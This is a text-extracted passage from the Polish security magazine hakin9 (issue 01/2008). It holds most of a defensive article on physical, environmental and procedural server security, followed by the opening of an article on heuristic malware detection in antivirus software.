zwalający wymienić uszkodzoną kartę PCI bez wyłączania zasilania. Plusem takiego
rozwiązania jest przejmowanie funkcjonalności jednej karty sieciowej przez drugą, nie-
zauważalnie dla użytkowników (w urządzeniach Intela funkcja ta nazywa się AFT). W
tym czasie administrator może wymienić uszkodzoną kartę na sprawną, nie wyłącza-
jąc serwera ani na sekundę.

Serwery – co im zagraża, jak się zabezpieczyć

hakin9 Nr 01/2008

www.hakin9.org

w tym wypadku streamer – napęd
odczytujący i zapisujący nośniki ta-
śmowe. Mają one pojemność od kil-
ku do kilkuset GB i pozwalają bar-
dzo szybko wykonać kopię zapaso-
wą. Niestety, streamery w segmen-
cie tanich serwerów nie są popu-
larne ze względu na cenę, oscylu-
jącą w granicach kilku tysięcy zło-
tych. Kontroler RAID ma wbudo-
waną pamięć cache, która powinna
być podtrzymywana przez baterie
– w przypadku awarii zasilania nie
trzeba się obawiać utraty danych
będących akurat w pamięci cache.
Dodatkowym atutem jest technika
OBDR, dzięki której w razie awarii
systemu można uruchomić go z ka-
sety, zawierającej jednocześnie ko-
pię zapasową.

Kieszenie na dyski typu Hot

Swap – równie istotne są możliwo-
ści rozbudowy serwera. Wprawdzie
w chwili zakupu jego konfiguracja
może być wystarczająca, ale już nie-
bawem pojawi się potrzeba doda-
nia pamięci czy kolejnych dysków.
Szczególnie istotna jest liczba kie-
szeni na twarde dyski. Najlepiej, że-
by kieszenie były typu Hot Swap i do-
stępne z zewnątrz – co oznacza, że
dyski można dodawać i usuwać pod-
czas pracy systemu. Pięć dostęp-
nych z zewnątrz kieszeni na dyski to
rozwiązanie bardzo dobre, trzy kie-
szenie – rozsądne.

Zasilanie – podłączenie serwera

do kontaktu, nawet przez listwę zasi-
lającą kupioną za 30 złotych w skle-
pie komputerowym to pomyłka. Ser-
wer ma działać nieprzerwanie, a za-
tem nie może restartować się, ile-
kroć spadnie napięcie. Podłączenie
do UPSa za 200 złotych również od-
pada, bo nawet bez monitora serwer
z szybkim procesorem i 2 twardymi
dyskami zużyje cały prąd w ciągu
20 minut). Przydałby się zatem po-
rządny UPS, a nawet – jeśli przerwy
w dostawie prądu są częstsze – ge-
nerator prądu. Poza tym nie można
go ustawić w biurze, a zatem jest po-
trzebne odpowiednie pomieszczenie,
aby go tam trzymać. Jedną z częst-
szych przyczyn awarii jest uszko-
dzenie zasilacza komputera. Dlate-
go wielu producentów decyduje się

na wykorzystanie nadmiarowych za-
silaczy; w przypadku awarii jednego
drugi natychmiast (w przeciągu kilku
milisekund) przejmuje zasilanie ser-
wera. Ważne jest również, aby moc
zasilacza nie była niższa niż 350 W,
a optimum to 400 W.

Zasilacze zapewniają również

nadmiarowość mocy, niezbędną nie
tylko ze względu na możliwość spad-
ku mocy, lecz i z tego powodu, że
serwery stosowane w biznesie po-
bierają więcej energii.

Bezpieczeństwo serwerów wspo-

maga również specjalny układ BMC
(Baseboard Management Control-
ler), odpowiadający za monitoro-
wanie stanu pracy poszczególnych
komponentów wchodzących w skład
serwera. BMC zbiera informacje po-
chodzące z czujników rozmiesz-
czonych w różnych częściach płyty
głównej i obudowy (np. o temperatu-
rze procesorów, prędkości obrotowej
wentylatorów, napięciach zasilania).
Dzięki oprogramowaniu współpra-
cującemu z BMC administrator mo-
że być automatycznie powiadomiony
o zdarzeniach.

Powietrze wewnątrz obudowy

– bezawaryjność serwera w dużej
mierze zależy od odpowiedniej cyr-
kulacji powietrza wewnątrz obudo-
wy. W związku z tym obudowy ser-
werowe są standardowo wyposaża-
ne w dodatkowe wentylatory, które
zasysają chłodne powietrze, a wy-
dmuchują nagrzane. Bardzo istotne
jest odpowiednie poprowadzenie ka-
bli, często mocowanych w specjal-
nych osłonkach zmniejszających
ich obwód. Wyposażenie obudowy
w dwa wentylatory, w połączeniu
z uporządkowanym i przestronnym
wnętrzem, powinno już zagwaran-
tować dobrą cyrkulację powietrza.
Niektórzy z producentów stosują
specjalnie wyprofilowany plastikowy
tunel dodatkowo ułatwiając odpro-
wadzanie ciepła. Same wentylato-
ry powinny mieć charakter hot plug,
aby można je było odłączyć lub pod-
łączyć za pomocą jednego zatrza-
sku, podczas pracy serwera. Rozbu-
dowany serwer w swej architekturze
wydziela znacznie więcej ciepła niż
zwykły komputer. Dlatego klimaty-

zacja pomieszczenia też jest ważna.
W centrach serwerowych ma ona
takie samo znaczenie, jak odprowa-
dzanie ciepła z radiatorów.

Pomieszczenie – dostosowanie

pomieszczenia do pracy serwera
jest kluczową sprawą, której głów-
nymi aspektami są: podłoga i ściany
pokryte elementami antypyłowymi,
z których wyczyszczenie kurzu jest
bardzo łatwe; ognioodporne elemen-
ty służące do budowy ścian i podło-
gi; zdublowane korytarze na kable
zasilające – oddzielone od kabli sie-
ciowych – umieszczone pod podło-
gą. W pomieszczeniu montujemy kli-
matyzację, która zapewni tempera-
turę na poziomie 20°C +/- 1°C oraz
wilgotność powietrza 45-50 proc, co
obniży ryzyko awarii i przedłuży ży-
wotność sprzętu. Przy klimatyzacji
należy także pamiętać o kanałach
wentylacyjnych, ponieważ tempera-
tura w środku serwera jest kilkakrot-
nie wyższa niż na zewnątrz szafy.
Tam, gdzie zaczyna się wykorzysty-
wać chłodzenie wodne, uwidaczniają
się jego zalety polegające na ogra-
niczeniu hałasu. Te wszystkie syste-
my są ze sobą sprzężone, podłączo-
ne do programu nadzorcy, poprzez
który wykonywana jest analiza po-
miaru emisji ciepła, wykorzystywana
do sterowania poborem mocy przez
pojedynczy serwer lub grupę kompu-
terów. Określenie rozkładu tempera-
tur wraz z punktami krytycznymi po-
zwala ocenić, gdzie nastąpiła awaria
systemu chłodzenia, klimatyzacji lub
urządzeń.

Centra serwerowe

Data Center to w pierwszej kolejno-
ści budynek – jego projekt i wykona-
nie uwzględniające wszystkie czyn-
niki decydujące o jakości pomiesz-
czeń do przechowywania sprzętu,
oraz infrastruktura – elektronika, de-
terminująca w dużej mierze stopień
niezawodności zabezpieczeń. Kon-
strukcja bezpiecznego budynku po-
winna zapewniać ergonomiczne roz-
mieszczenie szaf i stojaków, oddzie-
lenie sali z serwerami od pomiesz-
czeń dla operatorów, podłogi mu-
szą umożliwiać prowadzenie kabli
w kanałach. Zabezpieczenia przed

hakin9 Nr 01/2008

www.hakin9.org

Obrona

niepowołanymi użytkownikami to
system kontroli dostępu i ochrona
obiektu – karty elektroniczne, sys-
temy alarmowe, strażnicy, telewizja
przemysłowa.

Zabezpieczenie przed czynni-

kami środowiska (katastrofami) to
w przypadku Polski przede wszyst-
kim ochrona przed pożarem – drzwi
wytrzymujące napór ognia oraz sys-
temy wykrywania i automatycznego
gaszenia pożarów. W ramach za-
pewnienia bezpieczeństwa zadbać
należy także o zasilanie – UPS-y,
agregaty prądotwórcze i własną sta-
cję transformatorową. Istotna jest
również szybka i niezawodna (naj-
lepiej redundantna) komunikacja ze
światem zewnętrznym.

Bezpieczeństwo

fizyczne i środowiskowe

Powszechne jest przeświadczenie,
że firewall chroni przed wszystkimi
zagrożeniami, jakie mogą czyhać na
informacje posiadane przez firmę.
Wydawane są ogromne pieniądze na
kolejne systemy wykrywania włamań
w sieciach, ściany ogniowe, oprogra-
mowanie antywirusowe, wirtualne
sieci prywatne. Zabezpieczenia te są
niewątpliwie potrzebne, ale dotyczą
warstwy sieciowej. Zapominamy na-
tomiast o bezpieczeństwie fizycznym
i środowiskowym. Poufne dane moż-
na zdobyć nie poprzez podsłuchanie
ich w czasie transmisji, ale włamując
się do biura i kradnąc stojący w kory-
tarzu serwer plików.

Idąc dalej tą ścieżką – doskonale

skonfigurowany firewall chroniący łą-
cze internetowe nie ochroni sieci fir-
my, jeśli któryś z pracowników zain-
staluje w swoim komputerze modem,
a włamywacz wykorzysta go do wej-
ścia do systemu. Tajne informacje
o nowym produkcie nie muszą zo-
stać zdobyte dzięki włamaniu na
serwer, jeśli konkurencja znajdzie
wydruki ze szczegółowymi opisami
i raportami na śmietniku. Szczegó-
ły umowy nie zostaną zdobyte przez
złamanie sieci WiFi, ale dzięki pod-
słuchaniu rozmowy prowadzonej
przez prezesów w kawiarni.

Zagadnienie bezpieczeństwa fi-

zycznego w politykach bezpieczeń-

stwa wielu firm traktowane jest po-
wierzchownie. Może okazać się to
niewybaczalnym błędem popełnio-
nym przez autora tejże polityki.

Ochrona fizyczna urządzeń słu-

żących do przetwarzania informacji
powinna rozpocząć się od wydziele-
nia obszarów bezpiecznych. Należy
stworzyć bariery fizyczne otaczające
pomieszczenia firmy. Kolejne barie-
ry tworzą następne obwody zabez-
pieczające, mogą to być: ogrodze-
nie dookoła budynku, ściana, drzwi,
zamki w drzwiach, brama wejścio-
wa otwierana za pomocą karty, re-
cepcja obsługiwana przez człowie-
ka, oświetlenie chronionego obsza-
ru, wspomniane już kamery telewizji
przemysłowej (CCTV), systemy alar-
mowe, pracownicy ochrony.

Obwód zabezpieczający musi

być solidny i nie powinno być w nim
przerw ani obszarów, które mogłyby
ułatwić włamanie. Obszarem bez-
piecznym może być zamykane biuro
lub kilka pomieszczeń znajdujących
się wewnątrz fizycznego obwodu za-
bezpieczającego.

Niedopuszczalna jest sytuacja,

w której obce osoby chodzą po biu-
rze i mogą mieć dostęp do urzą-
dzeń przetwarzających dane. Go-
ście wchodzący do bezpiecznych
obszarów powinni być nadzorowa-
ni, a data i czas ich wejścia oraz wyj-
ścia – rejestrowane. W większych fir-
mach wskazane jest noszenie przez
pracowników identyfikatorów pod-
czas przebywania w obszarach bez-
piecznych. Wszystkie osoby, które
nie są w towarzystwie innego pra-
cownika i nie posiadają identyfikato-
ra, powinny zostać zapytane o tożsa-
mość oraz cel pobytu.

Zastosowanie zamków biome-

trycznych lub kart magnetycznych
dodatkowo poprawia bezpieczeń-
stwo zamykanych pomieszczeń.
Warto zapisywać informacje o uda-
nych i nieudanych przypadkach uzy-
skania dostępu w celach audytu. Po-
lityka bezpieczeństwa musi wyma-
gać aktualizowania praw dostępu do
obszarów bezpiecznych oraz okre-
ślać, kiedy prawa te powinny być co-
fane (na przykład na czas, kiedy pra-
cownik wyjeżdża na urlop).

Fizyczna ochrona sprzętu po-

winna przeciwdziałać nie tylko za-
grożeniu nieupoważnionego dostę-
pu do informacji, ale również nie-
bezpiecznym czynnikom środowi-
skowym, które mogłyby wpłynąć
na działanie urządzeń. Podstawo-
we kategorie zagrożeń, na które
sprzęt może być narażony to próby
nieupoważnionego dostępu, zagro-
żenia środowiskowe – pożar, po-
wódź, trzęsienie ziemi, pył, dym,
w środowiskach przemysłowych pył,
kurz, drgania, oddziaływania che-
miczne, awarie zasilania, klimatyza-
cji, przerwa w dostawie wody, inter-
ferencje ze źródeł zasilania, promie-
niowanie elektromagnetyczne.

Monitorowanie warunków środo-

wiskowych pomoże wykryć czynniki,
które mogłyby wpłynąć niekorzystnie
na pracę urządzeń przetwarzających
informacje lub spowodować ich awa-
rię. Pomocna może być też symulacja
różnego rodzaju katastrof (oczywiście
nie proponuje się detonowania bomby
w korytarzu lub zalania serwerowni, ale
raczej analizę teoretyczną, popartą do-
świadczeniami innych firm). Urządzenia
przetwarzające dane powinny zostać
umieszczone w taki sposób, by zmini-
malizować możliwość niepożądanego
dostępu do obszarów roboczych oraz
ograniczyć do minimum brak nadzo-
ru podczas ich używania. Najważniej-
sze urządzenia powinny zostać roz-
mieszczone w obszarach bezpiecznych
tak, aby wykluczyć publiczny dostęp do
nich. Należy pamiętać również o dru-
karkach sieciowych, kserokopiarkach
czy urządzeniach faksowych.

Dla zachowania ciągłości pracy fir-

my szczególnie istotne jest zapewnie-
nie ciągłości zasilania w energię elek-
tryczną. W zależności od szacowane-
go ryzyka i poziomu ciągłości działa-
nia, który należy zapewnić, możemy
stosować następujące rozwiązania
zasilacze awaryjne (UPS), generator
awaryjny – jeśli przerwy w dostawie
energii elektrycznej mogą być dłuż-
sze – a także zwielokrotnione linie za-
silające. Zasilanie awaryjne powinno
pozwolić na kontynuację pracy przez
urządzenia służące przetwarzaniu in-
formacji, ale również zapewnić działa-
nie oświetlenia i łączności.

Serwery – co im zagraża, jak się zabezpieczyć

hakin9 Nr 01/2008

www.hakin9.org

Zabezpieczając linie komunikacyj-

ne należy pamiętać nie tylko o war-
stwie sieciowej, ale również o ich bez-
pieczeństwie fizycznym. Okablowanie
telekomunikacyjne powinno być chro-
nione przed podsłuchem lub uszkodze-
niem. Jeśli tylko jest to możliwe, to na-
leży unikać wyznaczania tras kabli bie-
gnących przez obszary publiczne. Je-
śli nie ma takiej możliwości, okablowa-
nie powinno zostać poprowadzone pod
ziemią. Wszystkie punkty rozdzielcze
sieci powinny znajdować się w zamy-
kanych skrzynkach lub szafach telein-
formatycznych umieszczonych w za-
mykanych pomieszczeniach.

Zastosowanie okablowania świa-

tłowodowego w miejsce miedziane-
go również poprawia bezpieczeństwo
instalacji, ponieważ uniemożliwia nie-
wykrywalne naruszenie ciągłości
traktu. Oprócz tego połączenie świa-
tłowodowe jest odporne na interferen-
cje sygnału czy uderzenie pioruna.

Informacje dotyczące bezpie-

czeństwa urządzeń przenośnych po-
zwalających na pracę poza siedzibą
firmy oraz pracy zdalnej znajdują się
w dalszej części tekstu.

Co jakiś czas informowani jeste-

śmy przez media o kradzieży danych
osobowych, znalezieniu poufnych in-
formacji na podwórkowych śmietni-
kach, w kubłach na śmieci lub nawet
na polu. Co gorsza, lekkomyślne po-
dejście do bezpieczeństwa dotyczy
nie tylko dokumentów papierowych,
ale również nośników komputero-
wych, które mogą pomieścić jeszcze
więcej poufnych informacji.

Firmy nie dbają o własne bezpie-

czeństwo. Przyczyną jest nie tylko
brak odpowiedniej wiedzy i świadomo-
ści potrzeby zabezpieczenia wszel-
kich nośników danych, ale również
zaniechanie i niedbalstwo. Naukowcy
z wydziału socjologii Uniwersyte-
tu Wrocławskiego, na zlecenie firmy
Fellowes Polska, przygotowali raport
na temat sposobów obchodzenia się
z dokumentami zawierającymi istotne
dane osobowe i firmowe.

Przebadano 146 firm, z których

95% odpowiedziało, że: Większość
z nas niszczy, archiwizuje lub wysyła
do centrali poufne dokumenty zawie-
rające istotne dane. Następnie spraw-

dzono zawartość kilkuset worków na
śmieci. Wnioski są co najmniej nie-
pokojące: mimo powszechnej świa-
domości potrzeby stosowania jakich-
kolwiek procedur chronienia danych
i niszczenia zbędnych dokumentów,
w 38% przejrzanych worków znale-
ziono dokumenty, które zawierały da-
ne personalne, faktury VAT, rachunki,
oferty przetargowe, umowy.

Ankietowani pracownicy firm za-

deklarowali, że ponad 80% zbędnej
dokumentacji zostaje zabezpieczone
(nie upublicznione) – jest niszczone,
archiwizowane, składowane. Mimo to
44% przeszukanych worków zawiera-
ło dokumenty, które w 52% przypad-
ków zawierały możliwe do odczytania
dane i poufne informacje. Badania zo-
stały przeprowadzone na stacji prze-
ładunku śmieci, gdzie odpady są już
w pewnym stopniu przetworzone. Do-
tarcie do śmieci znajdujących się jesz-
cze w śmietniku, tuż przy biurze firmy,
może istotnie zwiększyć prawdopodo-
bieństwo odczytania poufnych informa-
cji. Należy pamiętać, że najczęściej
funkcje systemowe usuwające dane
z nośników nie gwarantują 100% pew-
ności, że danych tych nie da się po-
nownie odczytać. Dane mogą zostać
ujawnione przez nieostrożną sprze-
daż sprzętu lub przekazanie do po-
nownego użycia. Warto rozważyć fi-
zyczne niszczenie wszystkich niepo-
trzebnych już urządzeń przechowują-
cych ważne informacje lub stosowa-
nie programów pozwalających na bez-
pieczne nadpisanie danych (dostęp-
ne są wersje dla wszystkich popular-
nych systemów operacyjnych). Jeśli
nośniki służą do przechowywania da-
nych osobowych, to wymóg usunięcia
z nich danych w sposób uniemożliwia-
jący ich odzyskanie nakłada Rozporzą-
dzenie Ministra Spraw Wewnętrznych i
Administracji z dnia 29 kwietnia 2004 r.
w sprawie dokumentacji przetwarza-
nia danych osobowych oraz warunków
technicznych i organizacyjnych, jakim
powinny odpowiadać urządzenia i sys-
temy informatyczne służące do prze-
twarzania danych osobowych (Dz. U.
2004, nr 100, poz. 1024).

Wskazane jest opracowanie pro-

cedur zarządzania wyjmowalnymi
nośnikami danych. Norma PN-ISO/

IEC 17799 zaleca rozważenie nastę-
pujących wytycznych:

• zaleca się wymazanie poprzed-

niej zawartości wszelkich nośni-
ków wielokrotnego użytku, które
mają być wyniesione z instytucji,
o ile nie będzie już potrzebna,

• zaleca się, aby w przypadku wyno-

szenia jakichkolwiek nośników z in-
stytucji potrzebne było upoważnie-
nie, a w celu przeprowadzenia póź-
niejszego audytu zaleca się prowa-
dzenie odpowiedniej ewidencji,

• zaleca się przechowywanie wszyst-

kich nośników w bezpiecznym miej-
scu, zgodnie z zaleceniami ich pro-
ducentów.

Poufne informacje mogą zostać ujaw-
nione, zmodyfikowane lub uszkodzone
również w trakcie ich fizycznego trans-
portu. Problem, wbrew pozorom, nie
jest wydumany i może przytrafić się
nawet największym. W maju 2005 ro-
ku Citigroup, największy bank na świe-
cie, stracił dane i historię transakcji 3,9
miliona swoich klientów podczas trans-
portu taśm streamera przez firmę ku-
rierską. Pamiętając o ochronie zawar-
tości przesyłek przed uszkodzeniami
fizycznymi, przy okazji warto wykorzy-
stać opakowania odporne na manipula-
cje. Krytyczne dane mogą być dzielone
na kilka elementów i przesyłane przy
pomocy różnych firm, różnymi trasami
i środkami transportu. Wymagania te
należy dostosować do ważności i pouf-
ności transportowanych informacji.

Szczególną uwagę należy zwrócić

na nośniki, z których dane należy usu-
wać w sposób bezpieczny, czyli doku-
menty papierowe, nagrania głosowe,
wydrukowane raporty, jednorazowe
taśmy barwiące do drukarek, taśmy
magnetyczne, nośniki optyczne (pły-
ty CD i DVD), dyskietki, wydruki pro-
gramów, dane z testów, dokumenta-
cję systemową. Niszczenie dokumen-
tów, nośników danych i sprzętu moż-
na zlecić zewnętrznym firmom posia-
dającym profesjonalne urządzenia po-
zwalające przeprowadzić niszczenie
w sposób bezpieczny.

Ochrona dokumentów papiero-

wych i komputerowych nośników nie
rozwiązuje w 100% problemu – po-

hakin9 Nr 01/2008

www.hakin9.org

Obrona

zostają jeszcze inne formy wymia-
ny informacji, jak komunikacja gło-
sowa, wizyjna lub faksowa. Rozmo-
wa prowadzona w miejscu publicz-
nym może zostać podsłuchana,
wiadomości pozostawione na auto-
matycznej sekretarce – odsłucha-
ne przez niepowołane osoby, faks
– przesłany przez pomyłkę do nie-
właściwej osoby lub odebrany przez
osobę nie posiadającą odpowied-
niego upoważnienia.

Polityka czystego biurka poma-

ga zapobiegać ujawnieniu lub kra-
dzieży informacji. Zdrowy rozsądek
nakazuje nie zostawiać na wierz-
chu żadnych dokumentów, kiedy na
pewien okres czasu tracimy kontro-
lę nad nimi (nawet jeśli tylko prze-
chodzimy do innego pokoju). Nie-
potrzebne w danym momencie do-
kumenty papierowe i nośniki da-
nych (płyty CD, DVD, pendrive'y,
taśmy) należy bezwzględnie cho-
wać w zamykanych szafach. Pod
żadnym pozorem dokumenty i no-
śniki danych nie powinny pozostać
niezabezpieczone po zakończeniu
pracy – w razie włamania, pożaru
lub powodzi mogłyby dostać się w
niepowołane ręce lub zostać znisz-
czone.

Punktami, które należy szcze-

gólnie kontrolować, są drukarki sie-
ciowe i kserokopiarki umieszczone
bardzo często w korytarzach. Pra-
cownicy powinni odbierać doku-
menty natychmiast po wykonaniu
przez urządzenie zleconego zada-
nia. Nie powinny pozostawać do-
stępne ani dla obcych osób, ani dla
pracowników nie posiadających sto-
sownych uprawnień.

Zasada czystego ekranu jest

analogiczna i odnosi się do serwe-
rów, stacji roboczych oraz urządzeń
przenośnych – laptopów oraz palm-
topów. Każdorazowe odejście od
stanowiska pracy powinno zostać
poprzedzone zablokowaniem kla-
wiatury i włączeniem wygaszacza
ekranu zabezpieczonego hasłem.
Oczywiście nie musi to wymagać
wykonania akcji ze strony użytkow-
nika – może odbywać się automa-
tycznie, pod warunkiem, że czas ak-
tywacji zabezpieczenia jest wystar-

czająco krótki (należy dopasować
go do klasyfikacji przetwarzanych
danych i ryzyka ich utraty).

Ogólne zasady związane z tą

kwestią przedstawiono poniżej:

• nawet, jeśli opuszcza się pokój

tylko na chwilę, należy go za-
mknąć na klucz lub schować do
zamykanej szafy wszelkie ważne
dokumenty i nośniki danych (pły-
ty CD, DVD, pendrive'y, taśmy),

• po zakończeniu pracy dokumen-

ty i komputerowe nośniki danych
powinny być przechowywane
w zamykanych, zabezpieczonych
i ognioodpornych szafach,

• na zakończenie pracy należy za-

mknąć aktywne sesje oraz wy-
rejestrować się (wylogować się)
z serwerów, lub też stosować
oprogramowanie blokujące kla-
wiaturę i wygaszacz ekranu za-
bezpieczony hasłem.

Do faksów, kserokopiarek i druka-
rek nie powinny mieć dostępu oso-
by postronne. Jeśli jest to możliwe,
urządzenia te powinny być zabloko-
wane poza normalnymi godzinami
pracy. Niezwłocznie po otrzymaniu,
skopiowaniu lub wydrukowaniu do-
kumentów należy zabrać je z podaj-
nika urządzenia.

Korzystanie z urządzeń przeno-

śnych – laptopów, palmtopów, tele-
fonów komórkowych w miejscach
publicznych i innych, nie chronio-
nych, miejscach poza siedzibą firmy
wymaga ostrożności, by nie ujaw-
nić osobom nieupoważnionym in-
formacji biznesowych. Zagrożenia,
na które należy szczególnie zwró-
cić uwagę:

• podglądanie przez nieupoważ-

nione osoby ekranu urządze-
nia lub klawiatury, podsłuchanie
rozmowy. Rozmowy dotyczą-
ce strategicznych spraw dla fir-
my mogą być prowadzone tylko
w bezpiecznych, sprawdzonych
miejscach. Nie powinny się od-
bywać w obecności osób przy-
padkowych, w miejscach takich
jak prezentacje, targi czy re-
stauracje,

• utrata urządzenia przenośnego:

zgubienie lub kradzież (przy-
padkowa – złodziej nie krad-
nie urządzenia dla danych, któ-
re się na nim znajdują, a dla sa-
mego urządzenia lub świadoma
– dla złodzieja istotne są dane,
które znajdują się w pamięci
urządzenia). Przenośne urzą-
dzenia komputerowe powinny
być wyposażone w fizyczne za-
bezpieczenia przed kradzieżą.

Urządzenia przenośne oraz nośni-
ki danych zabierane z siedziby fir-
my nie powinny być pozostawiane
bez nadzoru w miejscach publicz-
nych. Zaleca się przewożenie kom-
puterów przenośnych jako bagażu
podręcznego i, jeśli jest to możli-
we, maskowanie ich podczas po-
dróży (charakterystyczne torby na
laptopy nie są najlepszym rozwią-
zaniem). Nie należy pozostawiać
dokumentów, nośników danych
i sprzętu w hotelach ani w samocho-
dzie bez kontroli.

Informacje przechowywane na

urządzeniach przenośnych lub kom-
puterowych nośnikach danych mogą
ulec uszkodzeniu na przykład w wy-
niku działania silnego pola elektro-
magnetycznego – należy przestrze-
gać zaleceń producentów dotyczą-
cych ochrony sprzętu. Wskazane
jest, aby sprzęt wykorzystywany po-
za siedzibą firmy był ubezpieczony.

Zastosowane środki bezpie-

czeństwa należy dobrać do osza-
cowanego ryzyka utraty danych wy-
korzystywanych podczas pracy po-
za siedzibą.

Jeszcze innym regulacjom zwią-

zanym z bezpieczeństwem powin-
na podlegać, coraz popularniej-
sza, praca na odległość (telepraca).
Pracownik wykonuje swoją pracę
w pewnym stałym miejscu znajdu-
jącym się poza siedzibą firmy. Miej-
sce to powinno być w odpowiedni
sposób chronione: zarówno przed
kradzieżą sprzętu i informacji, nie-
uprawnionym ujawnieniem informa-
cji, jak również nieuprawnionym do-
stępem do wewnętrznych systemów
instytucji czy niewłaściwym wyko-
rzystaniem urządzeń.

Serwery – co im zagraża, jak się zabezpieczyć

Norma PN-ISO/IEC 17799 za-

leca, aby firma rozważyła stwo-
rzenie polityki i określiła standardy
dotyczące kontroli czynności wyko-
nywanych w ramach pracy na odle-
głość. Upoważnienie pozwalające
na taką pracę powinno zostać wy-
dane tylko i wyłącznie, kiedy zapew-
niona została właściwa organizacja,
wdrożono zabezpieczenia oraz za-
pewniono ich zgodność z polityką
bezpieczeństwa firmy. Norma zale-
ca rozważenie między innymi nastę-
pujących zagadnień:

• rzeczywiste bezpieczeństwo fi-

zyczne miejsca pracy; należy
wziąć pod uwagę zabezpiecze-
nia fizyczne budynku i lokalnego
środowiska,

• wymagania bezpieczeństwa doty-

czące łączności, biorąc pod uwa-
gę potrzebę zdalnego dostępu do
wewnętrznych systemów instytu-
cji, wrażliwość informacji, której
dostęp będzie dotyczył, pomijając
natomiast w rozważaniach łącze

telekomunikacyjne i wrażliwość
wewnętrznego systemu,

• zagrożenia nieuprawnionego do-

stępu do informacji lub zasobów
ze strony innych osób znajdują-
cych się w pobliżu, na przykład
rodziny i przyjaciół. Określenie
zasad i wytycznych dotyczących
dostępu rodziny i gości do urzą-
dzeń i informacji,

• określenie dozwolonych prac,

godzin pracy, klasyfikacji infor-
macji, które mogą być w po-
siadaniu pracownika wykonują-
cego pracę na odległość oraz
określenie wewnętrznych syste-
mów, do których ma on upraw-
niony dostęp.

Urządzenia zdalnego dostępu – KVM
i RR to skrót od Keyboard Video Mo-
use i Remote Reset. Są to – w skró-
cie – urządzenia umożliwiające zdal-
ny dostęp do konsoli, pozwalające
na zdalne zarządzanie komputerem.
Istnieją różnego rodzaju urządzenia
– od wdzwanianych telefonicznie po
urządzenia IP. Komuś, kto nie ma po-
jęcia, jak wygląda praca administrato-
ra, może się wydawać, że takie urzą-
dzenie to luksus, ponieważ admin za-
wsze może podejść do komputera.
Problem zaczyna się jednak w nocy.
Takie urządzenie zwiększa komfort
i daje realne korzyści. Administrator

może być bowiem w czasie gotowości
do pracy, a nie w pracy (patrz Kodeks
Pracy). Dodatkowo, jeżeli masz ma-
ły zespół fachowców, głupio będzie
się tłumaczyć klientom, że serwer nie
działa, ponieważ administrator jedzie
z drugiego końca miasta, aby coś zre-
startować. W związku z tym warto za-
wczasu zaopatrzyć się przynajmniej
w urządzenie Remote Reset, które
pozwoli na wykonanie operacji zdal-
nego restartu maszyny (gdy to jest
naprawdę koniecznie). KVM pozwoli
zaś na dostęp do konsoli i pracę np.
w trybie awaryjnym przed ponownym
wystartowaniem systemu.

Podsumowanie

Artykuł został oparty na wytycz-
nych przedstawionych w normie
PN-ISO/IEC 17799:2003 Technika
informatyczna. Praktyczne zasady
zarządzania bezpieczeństwem in-
formacji.

Zachęcam do zapoznania się

z normą wydaną przez Polski Komi-
tet Normalizacyjny i samodzielnego
opracowania polityki bezpieczeń-
stwa uwzględniającej warunki za-
pewnienia bezpieczeństwa fizycz-
nego i środowiskowego. W każdej
chwili można skorzystać również
z usług firm specjalizujących się
w zarządzaniu bezpieczeństwem
informacji. l

O autorze

Pasją autora są nowe technologie
i języki programowania.
Kontakt z autorem:
spinacz24@gmail.com

www.hakin9.org

hakin9 Nr 01/2008

Obrona

est to obecnie najpopularniejsza metoda
detekcji, choć ma istotną wadę, mianowi-
cie jest metodą reakcyjną. Ponieważ In-

ternet umożliwia błyskawiczne rozprzestrze-
nianie się niebezpieczeństwa, jest ona często
niewystarczająca.

Metoda oparta na wzorcach zagrożeń cha-

rakteryzuje się niebezpieczną luką w czasie
pomiędzy pojawieniem się zagrożenia a udo-
stępnieniem wzorca je wykrywającego. Wzo-
rzec jest przygotowywany przez specjalistów
z firm antywirusowych, którzy muszą otrzymać
nową próbkę, następnie przeanalizować ją
i przygotować sygnaturę, która będzie zagroże-
nie w sposób jednoznaczny identyfikować, nie
powodując przy tym fałszywych alarmów (Ry-
sunek 1.). Alternatywą dla ręcznego wybierania
wzorców jest wykorzystanie automatycznie ge-
nerowanych sum kontrolnych, ale są one wraż-
liwe nawet na drobne modyfikacje i stosowa-
nie ich szybko prowadzi do nadmiernego roz-
rostu baz.

Rozwiązaniem tego problemu są zdoby-

wające coraz większą popularność mechani-
zmy prewencyjne oparte na klasyfikacji heu-
rystycznej. Heurystyka (gr. heurisko – znaleźć)
to umiejętność odkrywania nowych faktów

i związków pomiędzy faktami poprzez umiejęt-
ne postawienie hipotez. Algorytmy heurystycz-
ne na podstawie wiedzy o cechach istniejących
niebezpieczeństw są w stanie przeanalizować
skanowany obiekt i stwierdzić, czy można go
zaklasyfikować jako niebezpieczny.

Uogólnione wzorce

Metody wykrywania nieznanych wirusów by-
ły implementowane w programach antywiru-
sowych od początku ich istnienia. Najprost-

Heurystyka w programach

antywirusowych

Jakub Dębski

stopień trudności

Istnieją dwie główne metody wykrywania złośliwego

oprogramowania – oparte na wzorcach zagrożeń i na analizie

heurystycznej. Pierwszy typ zapewnia stuprocentową

wykrywalność zagrożeń, które są znane, jednak wymaga ciągłej

aktualizacji baz sygnatur.

Z artykułu dowiesz się

• czym jest heurystyka w programach antywiruso-

wych,

• jakie są rodzaje wykorzystywanych heurystyk,
• przed jakimi problemami stoją twórcy heury-

styk.

Co powinieneś wiedzieć

• powinieneś znać podstawy asemblera,
• powinieneś mieć ogólne pojęcie o budowie

systemów operacyjnych,

• powinieneś znać terminologię związaną z nie-

bezpiecznym oprogramowaniem.

Heurystyka w programach antywirusowych

hakin9 Nr 01/2008

www.hakin9.org

szą metodą rozpoznawania no-
wych wersji wirusów są uogólnione
wzorce. Wzorzec (scan-string, pat-
tern) jest ciągiem bajtów wyekstra-
howanym z wirusa, który w sposób
jednoznaczny go identyfikuje. Ma-
jąc wzorzec wirusa możemy zasto-
sować jeden z licznych algorytmów
dopasowujących, w celu znalezie-
nia go w badanym pliku. Wzorzec
musi spełniać kilka wymagań, aby
można go było zastosować do iden-
tyfikacji zagrożenia:

• powinien być fragmentem cha-

rakterystycznym dla wirusa (nie
może występować w czystych
plikach),

• nie może być zbyt krótki (mógłby

powodować fałszywe alarmy),

• nie może być zbyt długi (dopa-

sowanie go byłoby długotrwałe,
a zajętość pamięci znaczna przy
licznej bazie zagrożeń).

Przyjrzyjmy się fragmentowi wirusa
asemblerowego, który spełnia wy-
magania wzorca (Listing 1).

Powyższy fragment jest cha-

rakterystyczny, ponieważ poszu-
kuje pod wyliczanym adresem sło-
wa KERN, co nie powinno wystą-
pić w pliku czystym. Po lewej stro-
